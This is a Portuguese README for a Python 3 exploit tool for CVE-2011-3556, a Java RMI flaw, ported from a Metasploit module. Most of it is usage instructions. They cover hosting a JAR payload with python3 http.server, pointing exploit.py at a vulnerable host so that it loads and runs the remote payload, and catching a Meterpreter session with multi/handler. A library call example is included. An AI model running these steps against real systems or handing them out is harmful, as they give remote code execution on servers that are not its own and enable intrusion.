
Implementação em Python 3 de uma prova de conceito (PoC) existente para o CVE-2011-3556.
Esta ferramenta é uma implementação em Python 3 de uma prova de conceito (PoC) existente, feita por mihi para o Metasploit Framework.
Para usar o módulo, basta seguir as instruções abaixo:
# Clone este repositório localmente.
$ git clone https://github.com/sk4la/cve_2011_3556.git && cd cve_2011_3556/
# Opcionalmente, defina o bit `x` para poder executar o script diretamente.
$ chmod u+x exploit.py
$ ./exploit.py --help && echo "Funcionou!"
Para ser carregado remotamente pelo servidor Java RMI vulnerável, o payload (um binário JAR) deve ser servido como um recurso HTTP. Pode-se servi-lo rapidamente usando o famoso python3 -m http.server.
Assim que o payload estiver disponível para download, basta executar o script exploit.py para acionar a vulnerabilidade.
$ python3 -m http.server --bind HOST_ENTREGA PORTA_ENTREGA &
$ ./exploit.py -h HOST_VULNERAVEL -u http://HOST_ENTREGA:PORTA_ENTREGA/PAYLOAD.jar`
Caso o payload seja um Meterpreter (Metasploit Framework), não se esqueça de
use exploit/multi/handler.
Este módulo também pode ser usado como uma biblioteca importando o módulo cve_2011_3556 para o seu namespace atual:
from cve_2011_3556 import JavaRMIExploit
JavaRMIExploit("127.0.0.1", "http://127.0.0.1/payload.jar").exploit()
É simples assim!
Agradecimentos especiais a mihi pela implementação inicial do módulo do Metasploit Framework.